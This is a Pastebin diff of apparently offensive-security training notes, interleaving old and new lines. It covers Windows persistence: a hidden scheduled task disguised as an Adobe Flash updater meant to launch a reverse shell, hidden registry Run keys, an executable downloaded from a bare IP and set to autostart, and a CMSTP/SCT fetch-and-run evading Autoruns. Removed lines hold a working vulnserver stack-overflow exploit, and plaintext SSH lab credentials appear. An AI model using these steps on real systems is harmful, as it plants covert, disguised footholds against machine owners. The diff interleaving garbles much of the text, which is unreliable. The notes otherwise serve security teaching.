View difference between Paste ID: mNw31fUd and XNsyGMmW
SHOW: | | - or go back to the newest paste.
1-
########
1+
2-
# Tips #
2+
3-
########
3+
4-
https://ired.team/offensive-security/powershell-constrained-language-mode-bypass
4+
5
6
7
8
9
#################
10
# Lab Deployers #
11
#################
12
https://github.com/jaredhaight/PowerShellClassLab
13
https://github.com/outflanknl/Invoke-ADLabDeployer
14-
http://45.63.104.73/nc-password-is-netcat.zip
14+
15-
http://45.63.104.73/1-SEH.zip
15+
16-
http://45.63.104.73/WarFTP.zip
16+
17-
http://45.63.104.73/SEH.zip
17+
18-
http://45.63.104.73/sws.zip
18+
19-
http://45.63.104.73/tftpd.zip
19+
20-
http://45.63.104.73/ffvlc.zip
20+
21-
http://45.63.104.73/pdf-exploit.zip
21+
22
https://rastamouse.me/2018/03/a-view-of-persistence/
23
https://blog.inspired-sec.com/archive/2017/01/20/WMI-Persistence.html
24
https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
25
https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
26
27
28
29
30
####################
31
# Lateral Movement #
32
####################
33
34
35
###########################
36
# Bypassing EDR Solutions #
37
###########################
38
https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html
39
https://github.com/vysecurity/morphHTA
40
https://labs.mwrinfosecurity.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/
41
 
42
43
44
###############################
45
# Device Guard Check & Bypass #
46
###############################
47
https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-OSiRis.ps1
48
49
50
######################
51
# EDR Check & Bypass #
52
######################
53
https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
54
55
56
57
58
###############
59
# Persistance #
60
###############
61
62
63
---- Scheduled Task Based Persistance ----
64
1. Scheduled task based on most commonly occuring event ID
65
https://github.com/TestingPens/MalwarePersistenceScripts/blob/master/user_event_persistence.ps1
66
67
68
69
To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
70
71
---------------------------Type This-----------------------------------
72
mkdir c:\persistence
73
74
cd c:\persistence
75
76
Get-ExecutionPolicy
77
Set-ExecutionPolicy Unrestricted –Force
78
79
$client = new-object System.Net.WebClient
80
$client.DownloadFile("https://raw.githubusercontent.com/TestingPens/MalwarePersistenceScripts/master/user_event_persistence.ps1","c:\persistence\user_event_persistence.ps1")
81
82
dir
83
84
.\user_event_persistence.ps1
85
-------------------------------------------------------------------------
86
87
88
89
- Alternative method 1:
90
-----------------------
91
As administrator create a basic task as an administrator with the following information:
92
93
Name:                    Adobe Systems Incorporated
94
95
Description:             This task keeps your Adobe Flash Player installation up to date with the latest enhancements and security fixes. If this task is disabled or removed, Adobe Flash Player will be unable to automatically secure your machine with the latest security fixes.
96
97
98
99
Task Trigger:             Daily
100
101
Start a program:          C:\Windows\System32\calc.exe
102-
1. What does the sys module do? Call System Commands
102+
103
104
105
- Alternative method 2:
106
-----------------------
107
In this case we will not be running PowerShell. We create a scheduled task definition file called "Adobe Flash Player Updater.xml"
108
 
109
- Copy and paste the code below into the "Adobe Flash Player Updater.xml" definition file on target machine:
110-
2. What pattern_create.rb doing and where can I find it?
110+
111
- adapt  <Command>C:\Windows\System32\calc.exe</Command> to your reverse shell executable
112
- this scheduled task triggers on a event, can be changed to regular calls (e.g. once an hour)
113
 
114
--------------------------------
115
<?xml version="1.0" encoding="UTF-16"?>
116
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
117
  <RegistrationInfo>
118
    <Author>Adobe Systems Incorporated</Author>
119
    <Description>This task keeps your Adobe Flash Player installation up to date with the latest enhancements and security fixes. If this task is disabled or removed, Adobe Flash Player will be unable to automatically secure your machine with the latest security fixes.</Description>
120
  </RegistrationInfo>
121
  <Triggers>
122
    <EventTrigger>
123-
1. Explain what is happening in lines 13 - to 15.
123+
124
      <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Application"&gt;&lt;Select Path="Application"&gt;*[System[EventID=15]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
125
    </EventTrigger>
126
  </Triggers>
127
  <Principals>
128
    <Principal id="Author">
129-
Ff5.py
129+
130
      <RunLevel>LeastPrivilege</RunLevel>
131
    </Principal>
132
  </Principals>
133
  <Settings>
134
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
135
    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
136
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
137
    <AllowHardTerminate>true</AllowHardTerminate>
138
    <StartWhenAvailable>true</StartWhenAvailable>
139
    <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
140
    <IdleSettings>
141
      <StopOnIdleEnd>true</StopOnIdleEnd>
142
      <RestartOnIdle>false</RestartOnIdle>
143
    </IdleSettings>
144
    <AllowStartOnDemand>true</AllowStartOnDemand>
145
    <Enabled>true</Enabled>
146
    <Hidden>true</Hidden>
147
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
148
    <WakeToRun>false</WakeToRun>
149
    <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
150
    <Priority>7</Priority>
151
  </Settings>
152
  <Actions Context="Author">
153
    <Exec>
154
      <Command>C:\Windows\System32\calc.exe</Command>
155
    </Exec>
156
  </Actions>
157
</Task>
158
 
159
---------------------------
160
 
161
Now let's create the scheduled task
162
---------------------------Type This-----------------------------------
163
schtasks /create /tn "Adobe Updater" /xml "Adobe Flash Player Updater.xml"
164
----------------------------------------------------------------------- 
165
166
167
Sit back and wait for the task to trigger. By the way we got the correct XML file format by creating a scheduled tasked and exporting it to an XML file. Then we were able to make some trivial changes to the file and import it.
168
169
170-
3. How would a stack adjustment help this script?
170+
171
172
---- Registry Based Persistance ---
173-
Required review videos to watch tonight:
173+
174-
----------------------------------------
174+
175-
https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
175+
176-
Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.
176+
177
178-
Recommended (not required) videos to watch tonight:
178+
179-
---------------------------------------------------
179+
180-
For more background on Assembly I would recommend the following video series (videos 1-11):
180+
181-
https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
181+
182-
Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.
182+
183
Note:
184
Beacon/Shell may prevent the user to login as he is hanging in the Beacon executable. Solution: spawn new beacon and exit initial beacon.
185
186-
---------------------------------------------------------------------------------------------------------------------############################
186+
187
188
189
190
2. GLOBALFLAGS IN IMAGE FILE EXECUTION OPTIONS
191
Let's try this:
192
https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
193
194
195
2. Hide Reg
196
Let's try this code out:
197
https://gist.github.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741
198
199
Reference:
200
https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
201
202
203
204
205
Get the following two files
206
---------------------------
207
https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/PSReflect.ps1
208
https://gist.githubusercontent.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741/raw/8f77b5e2f1952299f3a2dca0ef6c9266fe3e7b08/PSReflect-RegHide.ps1
209
210
In "PSReflect-RegHide.ps1" line 126, you can specify which command will be executed upon reboot (ex: 'cmd /c calc.exe'). It will be invisible for regedit and powershell.
211
212
To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
213
214
---------------------------Type This-----------------------------------
215
mkdir c:\persistence
216
217
cd c:\persistence
218
219
(new-object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/PSReflect.ps1", "c:\persistence\PSReflect.ps1")
220
221
(new-object System.Net.WebClient).DownloadFile("https://gist.githubusercontent.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741/raw/8f77b5e2f1952299f3a2dca0ef6c9266fe3e7b08/PSReflect-RegHide.ps1", "c:\persistence\PSReflect-RegHide.ps1")
222
223
.\PSReflect-RegHide.ps1
224
-------------------------------------------------------------------------
225
226
227
228
Now, let's check to see if the newly created registry value is hidden. You can do this by typing the following:
229
---------------------------Type This-----------------------------------
230
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
231
Get-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
232
----------------------------------------------------------------------- 
233
However, it will be visible e.g. for Sysinternals Autorun tool
234
235
236
237
3. VShadow
238
Let's try this out:
239
https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/
240
241
242
243
1. Download vshadow.exe including in the WinSDK
244
    Windows 7: https://www.microsoft.com/en-us/download/details.aspx?id=8279
245
    Windows 10: https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
246
2. Upload the vshadow.exe to the target machine
247
3. Choose an arbitrary persistence mechanism to start vshadow.exe (e.g. Reg Key: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\Temp\vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:")
248
249
250
---------------------------Type This-----------------------------------
251
mkdir c:\persistence
252
253
cd c:\persistence
254
255
$client = new-object System.Net.WebClient
256
$client.DownloadFile("http://45.63.104.73/win10_vshadow_x64.exe","c:\persistence\win10_vshadow_x64.exe")
257
258
259
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "c:\persistence\vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:"
260
-----------------------------------------------------------------------
261
262
263
4. INF-SCT
264
Let's try this out:
265
https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
266
https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
267
268
269
Technique 1: CMSTP
270
------------------
271
create "c:\persistence\cmstp.inf" with the following content:
272
-----------------------------------
273
;cmstp.exe cmstp.inf
274
 
275
[version]
276
Signature=$chicago$
277
AdvancedINF=2.5
278
 
279
[DefaultInstall_SingleUser]
280
UnRegisterOCXs=UnRegisterOCXSection
281
 
282
[UnRegisterOCXSection]
283
%11%\scrobj.dll,NI,c:\persistence\test.sct
284
 
285
[Strings]
286
AppAct = "SOFTWARE\Microsoft\Connection Manager"
287
ServiceName="Yay"
288
ShortSvcName="Yay"
289
----------------------------------------------------
290
291
292
293
get a sample sct payload (e.g. https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct) and store it in "c:\persistence\test.sct"
294
295
296
---------------------------Type This-----------------------------------
297
mkdir c:\persistence
298
299
cd c:\persistence
300
301
$client = new-object System.Net.WebClient
302
$client.DownloadFile("https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct","c:\persistence\test.sct")
303
304
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v oemkey /t reg_sz /d C:\Windows\System32\cmstp.exe\" /s C:\persistence\cmstp.inf"
305
-----------------------------------------------------------------------
306
307
 
308
reboot your machine
309
your sct payload will be executed upon reboot. HOWEVER, as a Windows binary executes it, Sysinternals Autorun tool will not show it, unless you untick  "Options->Hide Windows Entries" option
310
311
312
 
313
5. GPScript.exe
314
Let's try this out:
315
https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
316
317
318
319
---- Cobalt Strike Agressor Persistance Scripts ----
320
https://github.com/Und3rf10w/Aggressor-scripts/blob/master/kits/PersistKit/PersistKit.cna
321
https://github.com/harleyQu1nn/AggressorScripts/blob/master/Persistence/UserSchtasksPersist.cna
322
https://github.com/harleyQu1nn/AggressorScripts/blob/master/Persistence/ServiceEXEPersist.cna
323
324
325
326
327
328
-------------------------------------------------------------------------------------------------------------
329
 
330
############################
331
# Day 2: Ruby Fundamentals #
332
############################
333
 
334
- I prefer to use Putty to SSH into my Linux host.
335
- You can download Putty from here:
336
- http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
337
 
338
Here is the information to put into putty
339
 
340
Host Name:          149.28.201.171
341
protocol:           ssh
342
port:               22
343
username:           secureninja
344
password:           secureninja!!
345
 
346
- Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
347
scientist and programmer from Japan. It is a cross-platform dynamic language.
348
 
349
- The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
350
on Rails is a framework that is written in Ruby.
351
 
352
- Ruby's file name extensions are .rb and .rbw.
353
 
354
- official website of this
355
 
356
- language: www.ruby-lang.org.
357
 
358
 
359
- interactive Shell called Ruby Shell
360
 
361
 
362
- open up the interactive console and play around.
363
 
364
---------------------------Type This-----------------------------------
365
irb
366
-----------------------------------------------------------------------
367
 
368
 
369
- Math, Variables, Classes, Creating Objects and Inheritance
370
 
371
 
372
The following arithmetic operators:
373
    Addition operator (+) — 10 + 23
374
    Subtraction operator (-) — 1001 - 34
375
    Multiplication operator (*) — 5 * 5
376
    Division operator (/) — 12 / 2
377
 
378
 
379
 
380
- Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
381
operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
382
30. Again, 69 is assigned to y, and then y is incremented by 33.
383
 
384
---------------------------Type This-----------------------------------
385
x = 25
386
x + 30
387
y = 69
388
y+33
389
-----------------------------------------------------------------------
390
 
391
 
392
 
393
- Let's look at creating classes and creating objects.
394
 
395
- Here, the name of the class is Attack. An object has its properties and methods.
396
 
397
 
398
---------------------------Type This-----------------------------------
399
class Attack
400
attr_accessor :of, :sqli, :xss
401
end
402
-----------------------------------------------------------------------
403
 
404
 
405
What is nil?
406
Reference:
407
https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638
408
 
409
nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print are methods that return nil:
410
 
411
Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print, you’ll see the nil.
412
 
413
To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it, and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:
414
 
415
 
416
 
417
 
418
 
419
# Now that we have created the classes let's create the objects
420
---------------------------Type This-----------------------------------
421
first_attack = Attack.new
422
first_attack.of = "stack"
423
first_attack.sqli = "blind"
424
first_attack.xss = "dom"
425
puts first_attack.of
426
puts first_attack.sqli
427
puts first_attack.xss
428
-----------------------------------------------------------------------
429
 
430
 
431
 
432
 
433
- Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
434
inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
435
one object can access the properties/attributes of another object of a different class. Inheritance makes your
436
programming life easier by maximizing code reuse.
437
 
438
 
439
---------------------------Type This-----------------------------------
440
class Exploitframeworks
441
attr_accessor :scanners, :exploits, :shellcode, :postmodules
442
end
443
class Metasploit < Exploitframeworks
444
end
445
class Canvas < Exploitframeworks
446
end
447
class Coreimpact < Exploitframeworks
448
end
449
class Saint < Exploitframeworks
450
end
451
class Exploitpack < Exploitframeworks
452
end
453
-----------------------------------------------------------------------
454
 
455
 
456
 
457
 
458
- Methods, More Objects, Arguments, String Functions and Expression Shortcuts
459
 
460
- Let's create a simple method. A method is used to perform an action and is generally called with an object.
461
 
462
- Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
463
it will print this string: "We are Learning how to PenTest"
464
 
465
- An object named 'bo' is created, which is used to call the method.
466
 
467
 
468
---------------------------Type This-----------------------------------
469
class Msfnl
470
def learning
471
puts "We are Learning how to PenTest"
472
end
473
end
474
-----------------------------------------------------------------------
475
 
476
#Now let's define an object for our Method
477
 
478
---------------------------Type This-----------------------------------
479
joe = Msfnl.new
480
joe.learning
481
-----------------------------------------------------------------------
482
 
483
 
484
 
485
- An argument is a value or variable that is passed to the function while calling it. In the following example, while
486
calling the puts() function, we are sending a string value to the function. This string value is used by the
487
function to perform some particular operations.
488
 
489
puts ("Pentesting")
490
 
491
 
492
- There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
493
explain some useful string functions with an example.
494
 
495
- The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
496
reverse function reverses a string. The following example demonstrates how to use the string functions.
497
 
498
---------------------------Type This-----------------------------------
499
55.class
500
"I Love Programming".class
501
"I Love Pentesting".length
502
"Pown that box".upcase
503
"Love" + "To Root Boxes"
504
"evil".reverse
505
"evil".reverse.upcase
506
-----------------------------------------------------------------------
507
 
508
 
509
-  expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand,  '=' is
510
an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
511
examples of some expressions.
512
 
513
---------------------------Type This-----------------------------------
514
a = 3
515
b = 6
516
a+b+20
517
d = 44
518
f = d
519
puts f
520
-----------------------------------------------------------------------
521
 
522
 
523
 
524
 
525
 
526
- shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
527
assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
528
statements to understand the shortcuts.
529
 
530
---------------------------Type This-----------------------------------
531
g = 70
532
g = g+44
533
g += 33
534
-----------------------------------------------------------------------
535
 
536
 
537
- In the above statement, g is incremented by 33 and then the total value is assigned to g.
538
 
539
 
540
 
541
---------------------------Type This-----------------------------------
542
g *= 3
543
-----------------------------------------------------------------------
544
 
545
 
546
- In the above statement, g is multiplied with 3 and then assigned to g.
547
 
548
- Example
549
 
550
- Comparison Operators, Loops, Data Types, and Constants
551
 
552
- Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
553
how to use the following comparison operators.
554
 
555
'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
556
variable or constant. If it's less than the other, the 'less than' operator returns true.
557
 
558
'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
559
or constant. If it's equal to the other, the 'equal to' operator returns true.
560
 
561
'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
562
variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.
563
 
564
---------------------------Type This-----------------------------------
565
numberofports = 55
566
puts "number of ports found during scan" if numberofports < 300
567
numberofports = 400
568
puts "number of ports found during scan" if numberofports < 300
569
puts "number of ports found during scan" if numberofports == 300
570
puts "number of ports found during scan" if numberofports != 300
571
-----------------------------------------------------------------------
572
 
573
 
574
 
575
Example
576
 
577
 
578
- the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.
579
 
580
- This operator is generally used to combine multiple conditions.
581
- In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the
582
 
583
- following example to understand how this operator works.
584
 
585
---------------------------Type This-----------------------------------
586
ports = 100
587
puts "number of ports found on the network" if ports<100 || ports>200
588
puts "number of ports found on the network" if ports<100 || ports>75
589
-----------------------------------------------------------------------
590
 
591
# unless
592
 
593
---------------------------Type This-----------------------------------
594
portsbelow1024 = 50
595
puts "If the ports are below 1024" unless portsbelow1024 < 1000
596
puts "If the ports are below 1024" unless portsbelow1024 < 1055
597
puts "If the ports are below 1024" unless portsbelow1024 < 20
598
-----------------------------------------------------------------------
599
 
600
- The 'unless' keyword is used to do something programmatically unless a condition is true.
601
 
602
 
603
 
604
- Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
605
 
606
- See the following example to understand how a string is printed 10 times on the screen using a loop.
607
 
608
---------------------------Type This-----------------------------------
609
10.times do puts "infosecaddicts" end
610
-----------------------------------------------------------------------
611
 
612
# Or use the curly braces
613-
cd /usr/share/metasploit-framework
613+
614
---------------------------Type This-----------------------------------
615
10.times {puts "infosecaddicts"}
616
-----------------------------------------------------------------------
617
 
618
 
619
- Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
620
working with different data types. Data type conversion is also known as type casting.
621-
cd /usr/share/metasploit-framework/modules
621+
622
 
623
 
624
- Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
625
change the value of a constant, you will see a warning message.
626
 
627
 
628
 
629
 
630
- Multiple Line String Variable, Interpolation, and Regular Expressions
631
 
632
- A multiple line string variable lets you assign the value to the string variable through multiple lines.
633
 
634-
cd /usr/share/metasploit-framework/external
634+
635
infosecaddicts = <<mark
636
welcome
637
to the
638
best
639
metasploit
640-
cd /usr/share/metasploit-framework/data
640+
641
on the
642
market
643
mark
644
puts infosecaddicts
645
-----------------------------------------------------------------------
646
 
647-
cd /usr/share/metasploit-framework/data/wordlists
647+
648
- Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
649
it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
650
Examine the following example to understand how interpolation works in Ruby.
651
 
652
References:
653
https://stackoverflow.com/questions/10869264/meaning-of-in-ruby
654-
cd /usr/share/metasploit-framework/data/meterpreter
654+
655
 
656
---------------------------Type This-----------------------------------
657
a = 4
658
b = 6
659
puts "a * b = a*b"
660
puts " #{a} * #{b} = #{a*b} "
661
person = "Joe McCray"
662
puts "IT Security consultant person"
663
puts "IT Security consultant #{person}"
664
-----------------------------------------------------------------------
665
 
666
- Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
667
 
668
 
669
 
670
 
671
 
672
- Character classes
673-
cd /usr/share/metasploit-framework/modules/exploits
673+
674
infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
675
"I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
676
"I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
677
-----------------------------------------------------------------------
678
 
679
 
680
- Arrays, Push and Pop, and Hashes
681
 
682
 
683
- In the following example, numbers is an array that holds 6 integer numbers.
684
 
685-
cd /usr/share/metasploit-framework/modules/auxiliary/
685+
686
---------------------------Type This-----------------------------------
687
numbers = [2,4,6,8,10,100]
688
puts numbers[0]
689
puts numbers[4]
690
numbers[2] = 150
691
puts numbers
692-
cd /usr/share/metasploit-framework/modules/auxiliary/scanner/
692+
693
 
694
 
695
 
696
- Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
697
 
698
 
699-
cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan
699+
700
framework = []
701
framework << "modules"
702
framework << "exploits"
703
framework << "payloads"
704
framework.pop
705
framework.shift
706
-----------------------------------------------------------------------
707
 
708
- Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
709
that is used to access the element.
710
 
711
 
712
- Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
713
In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
714
respective values: 'what module should you use', 'Windows XP' and 'SSH'.
715-
cd /usr/share/metasploit-framework/modules/payloads/
715+
716
---------------------------Type This-----------------------------------
717
metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
718
print metasploit.size
719
print metasploit["microsoft"]
720
metasploit['microsoft'] = 'redhat'
721
print metasploit['microsoft']
722
-----------------------------------------------------------------------
723
 
724
 
725
 
726
- Writing Ruby Scripts
727
 
728
 
729
- Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
730
this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
731
someone made to look for a specific port. The port that it is looking for is port 21 FTP.
732
---------------------------Type This-----------------------------------
733
cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
734
ls
735
-----------------------------------------------------------------------
736
 
737
 
738
 
739
###########################
740
# Metasploit Fundamentals #
741
###########################
742
 
743
- Let's take a little look at Metasploit Framework
744
 
745
- First, we should take note of the different directories, the Modular Architecture.
746
 
747
The modules that make up the Modular Architecture are
748
Exploits
749
Auxiliary
750
Payload
751
Encoder
752
Nops
753
 
754
 
755
Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,
756
 
757
are
758
 
759
Modules
760
Scripts
761
Plugins
762
External
763
Data
764
Tools
765
 
766
- Let's take a look inside the Metasploit directory and see what's the
767
---------------------------Type This-----------------------------------
768
cd ~/toolz/metasploit
769
ls
770
-----------------------------------------------------------------------
771
 
772
 
773
 
774
- Now let's take a look inside the Modules directory and see what's there.
775
---------------------------Type This-----------------------------------
776
cd ~/toolz/metasploit/modules
777
ls
778
-----------------------------------------------------------------------
779
 
780
       
781
The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
782
not necessarily need to - have a shell or session started on a machine.
783
 
784
The exploits directory has our modules that we need to pop a shell on a box.
785
The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
786
like Burp Suite
787
- Let's take a look at the external directory
788
---------------------------Type This-----------------------------------
789
cd ~/toolz/metasploit/external
790
ls
791
-----------------------------------------------------------------------
792
 
793
- Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
794
---------------------------Type This-----------------------------------
795
cd ~/toolz/metasploit/data
796
ls
797
-----------------------------------------------------------------------
798
 
799
- For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
800
brute-forcing
801
---------------------------Type This-----------------------------------
802
cd ~/toolz/metasploit/data/wordlists
803-
------------------------------------------
803+
804
-----------------------------------------------------------------------
805-
------------------------------------------
805+
806
- The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
807
once a session is created.
808
---------------------------Type This-----------------------------------
809
cd ~/toolz/metasploit/data/meterpreter
810
ls
811
-----------------------------------------------------------------------
812
 
813
- The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
814-
cd /usr/share/metasploit-framework/modules/exploits/windows/misc
814+
815
 
816-
nano vulnserv.rb    
816+
817-
-------(paste the code below into this file)-------
817+
818-
#
818+
819-
#
819+
820-
# Quick Metasploit exploit for vulnserver.exe
820+
821-
# Written by: Joe McCray
821+
822-
# Email: joe@strategicsec.com
822+
823-
#
823+
824-
# Place this exploit in:
824+
825-
# /usr/share/metasploit-framework/modules/exploits/windows/misc
825+
826-
#
826+
827-
require 'msf/core'
827+
828
cd ~/toolz/metasploit/modules/exploits
829-
class Metasploit3 < Msf::Exploit::Remote
829+
830-
    include Msf::Exploit::Remote::Tcp
830+
831-
    def initialize(info = {})
831+
832-
        super(update_info(info,
832+
833-
            'Name'           => 'Custom vulnerable server stack overflow',
833+
834-
            'Description'    => %q{
834+
835-
                This module exploits a stack overflow in an app called
835+
836-
                vulnserver that is designed to teach simple exploitation.
836+
837-
                },
837+
838-
            'Author'         => [ 'Joe McCray' ],
838+
839-
            'DefaultOptions' =>
839+
840-
                {
840+
cd ~/toolz/metasploit/modules/auxiliary/
841-
                    'EXITFUNC' => 'process',
841+
842-
                },
842+
843-
            'Payload'        =>
843+
844-
                {
844+
845-
                    'Space'    => 800,
845+
846-
                    'BadChars' => "\x00\x20",
846+
847-
                },
847+
cd ~/toolz/metasploit/modules/auxiliary/scanner/
848-
            'Platform'       => 'win',
848+
849
-----------------------------------------------------------------------
850-
            'Targets'        =>
850+
851-
                [
851+
852-
                    [
852+
853-
                        'Windows XP SP3 EN',
853+
854-
                            {
854+
855-
                                'Ret' => 0x625011AF,
855+
856-
                            }
856+
857-
                    ],
857+
858-
                ],
858+
859-
            'DefaultTarget' => 0,
859+
860
 
861-
            'Privileged'     => false
861+
862-
            ))
862+
863
 
864-
            register_options(
864+
865-
            [
865+
866-
                Opt::RPORT(9999)
866+
867-
            ], self.class)
867+
868
succeeds.
869
---------------------------Type This-----------------------------------
870-
    def exploit
870+
cd ~/toolz/metasploit/modules/payloads/
871-
        connect
871+
872-
        sock.recv(1024)
872+
873
 
874-
        p =  "\x41" * 16
874+
875-
        p << payload.encoded
875+
876
application for it to be used as.
877-
        hdr =  "TRUN ."
877+
878-
        boom = pattern_create(3000)
878+
879-
        boom[2006, 4] = [target.ret].pack('V')  # EIP value
879+
880-
        boom[2010, p.length] = p
880+
881
much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
882-
        sploit = hdr + boom
882+
883
 
884-
        sock.put(sploit)
884+
885
- Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
886-
        handler
886+
887-
        disconnect
887+
888
cd singles
889
cd windows
890
ls
891
-----------------------------------------------------------------------
892-
------------------end of copy/paste content --------------
892+
893
 
894
- We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
895
see what it actually does.
896
---------------------------Type This-----------------------------------
897-
cd /usr/share/metasploit-framework
897+
898
-----------------------------------------------------------------------
899
 
900
Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
901
the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
902
it gives Windows to add the user to the system.
903
 
904
 
905-
set RHOST CHANGEME-TO-YOUR-WIN7-IP
905+
906
 
907
windows/shell/bind_tcp or windows/shell/reverse_tcp
908
---------------------------Type This-----------------------------------
909
cd ../../stagers
910
ls
911
-----------------------------------------------------------------------
912
   
913
 
914-
########################################
914+
915-
# Down and dirty Meterpreter Scripting #
915+
916-
########################################
916+
917
ls windows/
918
-----------------------------------------------------------------------    
919
 
920
 
921
As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
922
machine, so we can upload or download our stage payloads and execute commands.
923
